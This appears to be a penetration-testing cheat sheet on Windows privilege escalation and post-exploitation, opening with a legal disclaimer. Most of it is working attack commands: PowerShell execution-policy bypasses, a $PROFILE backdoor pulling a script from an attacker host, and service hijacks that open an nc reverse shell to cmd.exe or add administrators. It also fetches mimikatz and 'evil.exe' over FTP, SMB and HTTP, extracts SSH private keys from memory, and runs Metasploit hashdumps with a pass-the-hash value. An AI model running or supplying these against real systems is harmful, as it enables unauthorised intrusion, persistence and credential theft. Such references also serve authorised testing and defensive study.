Always ensure you have explicit permission to access any computer system before using any of the techniques contained in these documents. You accept full responsibility for your actions by applying any knowledge gained here.
PowerShell Script Execution Policy Bypass Methods
Bypass Method
Description
Other Bypass Methods
Execute .ps1 scripts in memory
If you are able to use Invoke-Expression (IEX) you can execute remote scripts using the following command. You can also copy and paste the functions into your PowerShell session, so any functions become available to run. Notice the .ps1 extension. When using downloadString this will need to be a ps1 file to inject the module into memory.
IEX is blocked from users in most cases and Import-Module is monitored by things such as EDR. Downloading files to a target's machine is not always allowed in a penetration test, so another method to use is Invoke-Command. This can be done using the following format.
This will execute the file and its contents on the remote computer.
Another sneaky method would be to have the script load at the start of a new PowerShell window. This can be done by editing the $PROFILE file. The example script below can do this.
Write-Verbose"Creates powershell profile for user"New-Item-Path $PROFILE-ItemType File -Force<#The $PROFILE vaiable will be either: - C:\Users\<username>\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1OR - C:\Users\<username>\OneDrive\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1depending on whether OneDrive is in use or not.#><#Running scripts in the PowerShell profile will import all of the commands everytime the backdoored user opens a PowerShell session. This means you will need to open a new powershell session after doing this in order to access the commands. I assume this can be done by just executing the "powershell" command though you may need to have a new window opened or new reverse/bind shell opened. You can also just reload the profile#>cmd /c 'copy \\$attacker_ip>\$script.ps1 $env:USERPROFILE\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.psm1powershell.exe# If this does not work try reloading the user profile.& $PROFILE
Run script code as a function
Running the code from your PowerShell script inside a function will completely bypass script execution policies. Other code protection policies such as JEA may still stop certain cmdlets and code from running, however.
function $function_name {#code goes here}
Then you can re-use the code by just typing the function name.
Using the -EncodedCommand parameter
This is very similar to using the -c or -Command parameter, however, in this case all scripts are passed as a base64 encoded string. Encoding your script in this way helps to avoid all of the annoying parsing errors that you encounter when using the standard -Command parameter. This technique does not require any configuration changes or disk writes.
Disable ExecutionPolicy by Swapping out the AuthorizationManager
The function below can be executed via an interactive PowerShell console or by using the command switch. Once the function is called it will swap out the AuthorizationManager with null. As a result, the execution policy is essentially set to Unrestricted for the remainder of the session. This technique does not result in a persistent configuration change or require writing to disk. The change will be applied for the duration of the session, however.
functionDisable-ExecutionPolicy{ ($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))
} #Finally run the function to effectively disable the Execution PolicyDisable-ExecutionPolicy
There may be times when you know the credentials for another user, but can't spawn other windows. The sudo equivalent in PowerShell on Windows machines is the verb RunAs. It is not as simple to use as sudo, however.
runas
First run cmdkey /list. If this returns entries, it means that you may able to runas a certain user who stored their credentials in Windows.
Below is a PowerShell script that that will run a separate file as another user. You can then run a batch file, PowerShell script, or just execute a meterpreter binary as that user. The below function is to be run from a PowerShell prompt:
functionsudo {param([Parameter (Mandatory =$true)] [String]$UserName,[Parameter (Mandatory =$false)] [String]$DomainName,[Parameter (Mandatory =$false)] [String]$Password,[Parameter (Mandatory =$true)] [String]$Script,[System.Management.Automation.PSCredential]$Credential)#hard-coded $Password can be sniffed, beware#$pw = ConvertTo-SecureString "$Password" -AsPlainText -Force#$cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "$DomainName\$UserName",$pw<#Using the $Credential parameter below allows for Windows to prompt for credentials. Use the above lines if a password needs to be passed in the command line.#>Start-Process Powershell -Credential $Credential -ArgumentList '-NoProfile -Command &{Start-Process $Script -verb RunAs}'
}
Example: sudo -UserName Administrator -Script C:\tmp\privesc.ps1 This will cause Windows to prompt for a password for the Administrator user, then run the privesc script. Can be used to run a command rather than a script.
Running this in a function will bypass Script Execution policies, though JEA may still give you trouble.
Services
Modify service binary path (link to persistence page)
If one of the groups you have access to has SERVICE_ALL_ACCESS in a service, then it can modify the binary that is being executed by the service. To modify it and execute nc you can do:
sc.exe config $service_Name binpath= "C:\nc.exe -nv $ip $port -e C:\WINDOWS\System32\cmd.exe"
#use SYSTEM privileged service to add your user to administrators group
sc.exe config $service_Name binpath= "net localgroup administrators <username> /add"
#replace executable with your own binary (best to only do this for unused services!)
sc.exe config $service_name binpath= "C:\path\to\backdoor.exe"
Service Permissions
Other Permissions can be used to escalate privileges:
SERVICE_CHANGE_CONFIG: Can reconfigure the service binary
WRITE_DAC: Can reconfigure permissions, leading to SERVICE_CHANGE_CONFIG
WRITE_OWNER: Can become owner, reconfigure permissions
GENERIC_WRITE: Inherits SERVICE_CHANGE_CONFIG
GENERIC_ALL: Inherits SERVICE_CHANGE_CONFIG(To detect and exploit this vulnerability you can use exploit/windows/local/service_permissions in MetaSploit)
Check if you can modify the binary that is executed by a service. You can retrieve a list of every binary that is executed by a service using wmic (not in system32) and check your permissions using icacls:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
You can also use sc.exe and icacls:
sc.exe query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
Services registry permissions (TODO: link to persistence pages)
You should check if you can modify any service registry. You can check your permissions over a service registry doing:
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
Check if Authenticated Users or NT AUTHORITY\INTERACTIVE have FullControl. In that case you can change the binary that is going to be executed by the service. To change the Path of the binary executed: reg add HKLM\SYSTEM\CurrentControlSet\srevices\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
Unquoted Service Paths (TODO: link to persistence pages)
If the path to an executable is not inside quotes, Windows will try to execute every ending before a space. For example, for the path C:\Program Files\Some Folder\Service.exe Windows will try to execute:
You can detect and exploit this vulnerability with metasploit using the module: exploit/windows/local/trusted_service_path You can manually create a service binary with msfvenom: msfvenom -p windows/exec CMD="net localgroup administrators $username /add" -f exe-service -o service.exe
First run this as a PowerShell function, then use the Python script below to parse and decrypt the JSON
#!/usr/bin/env python# Script to extract OpenSSH private RSA keys from base64 data# Original implementation and all credit due to this script by soleblaze: # https://github.com/NetSPI/sshkey-grab/blob/master/parse_mem.pyimport sysimport base64import jsontry:from pyasn1.type import univfrom pyasn1.codec.der import encoderexceptImportError:print("You must install pyasn1") sys.exit(0)defextractRSAKey(data): keybytes = base64.b64decode(data) offset = keybytes.find(b"ssh-rsa")ifnot offset:print("[!] No valid RSA key found")returnNone keybytes = keybytes[offset:]# This code is re-implemented code originally written by soleblaze in sshkey-grab start =10 size =getInt(keybytes[start:(start+2)])# size = unpack_bigint(keybytes[start:(start+2)]) start +=2 n =getInt(keybytes[start:(start+size)]) start = start + size +2 size =getInt(keybytes[start:(start+2)]) start +=2 e =getInt(keybytes[start:(start+size)]) start = start + size +2 size =getInt(keybytes[start:(start+2)]) start +=2 d =getInt(keybytes[start:(start+size)]) start = start + size +2 size =getInt(keybytes[start:(start+2)]) start +=2 c =getInt(keybytes[start:(start+size)]) start = start + size +2 size =getInt(keybytes[start:(start+2)]) start +=2 p =getInt(keybytes[start:(start+size)]) start = start + size +2 size =getInt(keybytes[start:(start+2)]) start +=2 q =getInt(keybytes[start:(start+size)]) e1 = d % (p -1) e2 = d % (q -1) keybytes = keybytes[start+size:] seq = ( univ.Integer(0), univ.Integer(n), univ.Integer(e), univ.Integer(d), univ.Integer(p), univ.Integer(q), univ.Integer(e1), univ.Integer(e2), univ.Integer(c), ) struct = univ.Sequence()for i inrange(len(seq)): struct.setComponentByPosition(i, seq[i]) raw = encoder.encode(struct) data = base64.b64encode(raw).decode('utf-8') width =64 chopped = [data[i:i + width]for i inrange(0, len(data), width)] top ="-----BEGIN RSA PRIVATE KEY-----\n" content ="\n".join(chopped) bottom ="\n-----END RSA PRIVATE KEY-----"return top+content+bottomdefgetInt(buf):returnint.from_bytes(buf, byteorder='big')defrun(filename):withopen(filename, 'r')as fp: keysdata = json.loads(fp.read())for jkey in keysdata:for keycomment, data in jkey.items(): privatekey =extractRSAKey(data)print("[+] Key Comment: {}".format(keycomment))print(privatekey)print() sys.exit(0)if__name__=='__main__':iflen(sys.argv)!=2:print("Usage: {} extracted_keyblobs.json".format(sys.argv[0])) sys.exit(0) filename = sys.argv[1]run(filename)
File Transfers
Using FTP
Windows has an FTP client built in at C:\Windows\System32\ftp.exe that is already in PATH. You can open an FTP connection and transfer files directly between the attacker's machine from the command line. Most of the time the initial shell you get on a target won’t be interactive, which means running an command which requires further input from the user (e.g. text editor, FTP connection). This won’t work properly and can crash the shell. The trick is to create a file with all the FTP commands you need and run them all at once.
To set this up, you can authenticate with user anonymous and any random password (or if FTP account information is known, use that). Windows FTP can take a “script” of commands directly from the command line. This means if you create a text file called ftp_commands.txt on the system that contains this:
open 10.10.10.10
anonymous
<anypasswordhere>
binary
get $file_to_download
bye
Then you can simply run ftp -s:ftp_commands.txt and download a file with no user interaction. Use -i to disable interactive prompting during multiple file transfers. You can also use the put $file_to_upload command instead of get to send a file to the attacker's machine.
FTP batch script examples
#Work well with python. With pure-ftp use fusr:ftpecho open 10.10.10.1 21> ftp.txtecho USER anonymous >> ftp.txtecho anonymous >> ftp.txtecho bin >> ftp.txtecho GET mimikatz.exe >> ftp.txtecho bye >> ftp.txtftp -n -v -s:ftp.txt
impacket-smbserver-smb2supportkali`pwd`# Share current directorysmbserver.py-smb2supportname/path/folder# or share a specific folder#For new Win10 versions you must specify credentialsimpacket-smbserver-smb2support-usertest-passwordtesttest`pwd`
Or create an SMB share using samba:
aptinstallsambamkdir/tmp/smbchmod777/tmp/smb
Then add the following to the end of /etc/samba/smb.conf:
$url ="http://10.10.10.10/evil.exe"$file ="evil.exe"# Add the necessary .NET assemblyAdd-Type-AssemblyName System.Net.Http# Create the HttpClient object$client =New-Object-TypeName System.Net.Http.Httpclient$task = $client.GetAsync($url)$task.wait();[io.file]::WriteAllBytes($file, $task.Result.Content.ReadAsByteArrayAsync().Result)
Using Bitsadmin
First, you must import the BitsTransfer PowerShell Module with Import-Module BitsTransfer. After you import the BitsTransfer module, the following cmdlets are available:
Add-BitsFile Adds files to a BITS transfer
Complete-BitsTransfer Completes a BITS transfer
Get-BitsTransfer Gets a BITS transfer
Remove-BitsTransfer Stops a BITS transfer
Resume-BitsTransfer Resumes a suspended BITS transfer
Set-BitsTransfer Configures a BITS transfer job
Start-BitsTransfer Creates and starts a BITS transfer job
Suspend-BitsTransfer Pauses a BITS transfer job
For example, the following Windows PowerShell command begins a BITS transfer from the local computer to a computer named CLIENT:
Start-BitsTransfer-Source file.txt -Destination \\client\share -Priority normal
When running Windows PowerShell interactively, the PowerShell window displays the progress of the transfer. The following command uses an abbreviated notation to download a file from a Web site to the local computer:
msf > run post/windows/gather/smart_hashdump GETSYSTEM=FALSE
Find admin users (Metasploit)
spool /tmp/enumdomainusers.txt
msf > use auxiliary/scanner/smb/smb_enumusers_domain
msf > set smbuser Administrator
msf > set smbpass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
msf > set rhosts 10.10.10.0/24
msf > set threads 8
msf > run
msf> spool off
Allows non-privileged users to run executables as NT AUTHORITY\SYSTEM. To check for this, query the AlwaysInstallElevated property of the HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer registry key
Using PowerShell drives:
#Query whether the key exists or not
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer'
#-or-
Get-ItemProperty -Path Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
#Read the value of the AlwaysInstallElevated property
Get-ItemPropertyValue -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated
If you like this content and would like to see more, please consider buying me a coffee!
Set-Executionpolicy Bypass
Administrator rights are required.
Set-ExecutionPolicy -Scope CurrentUser Bypass
Only works in the context of the current user but requires no Administrator rights.
Set-ExecutionPolicy Bypass -Scope Process
Works without Administrator rights and lasts for the duration of the current session.
Open .ps1 file in text editor.
Copy all text in the file
Paste into PowerShell
PowerShell will run each line of the script one at a time, essentially the same as running the script.
Echo <script_code> | PowerShell.exe -noprofile -
Similar to simply pasting the code.
cat $script.ps1 | PowerShell.exe -noprofile -
Effectively the same as the previous example, but the code is read from a script file instead of being pasted. cat is an alias for Get-Content.
function <name> { <code_here> }
Similar to the above examples, however you paste your code inside the curly braces, and run the code by typing the <name> of your function. Allows for code reuse without having to copy and paste multiple times.
PowerShell.exe -command "<code_here>"
Runs the string provided to the -c (Command) argument as code. If the value of the -Command parameter is -, the command text is read from standard input.
cat $script.ps1 | IEX
Pipes the content of the script to the Invoke-Expression cmdlet, which runs any specified string as a command and returns the results to the console. IEX is an alias for Invoke-Expression.
IEX { <code_here> }
Essentially creates a one-time use function from your code.
& { <code_here> }
The operator (&) is an alias for Invoke-Expression and is equivalent to the example above.
. { <code_here> }
The operator (.) can be used to create an anonymous one-time function. This can sometimes be used to bypass certain constrained language modes.
Using the .NET object System.Management.Automation.ScriptBlock we can compile any text content to a script block. Then, using (&) we can easily execute this compiled and formatted text file.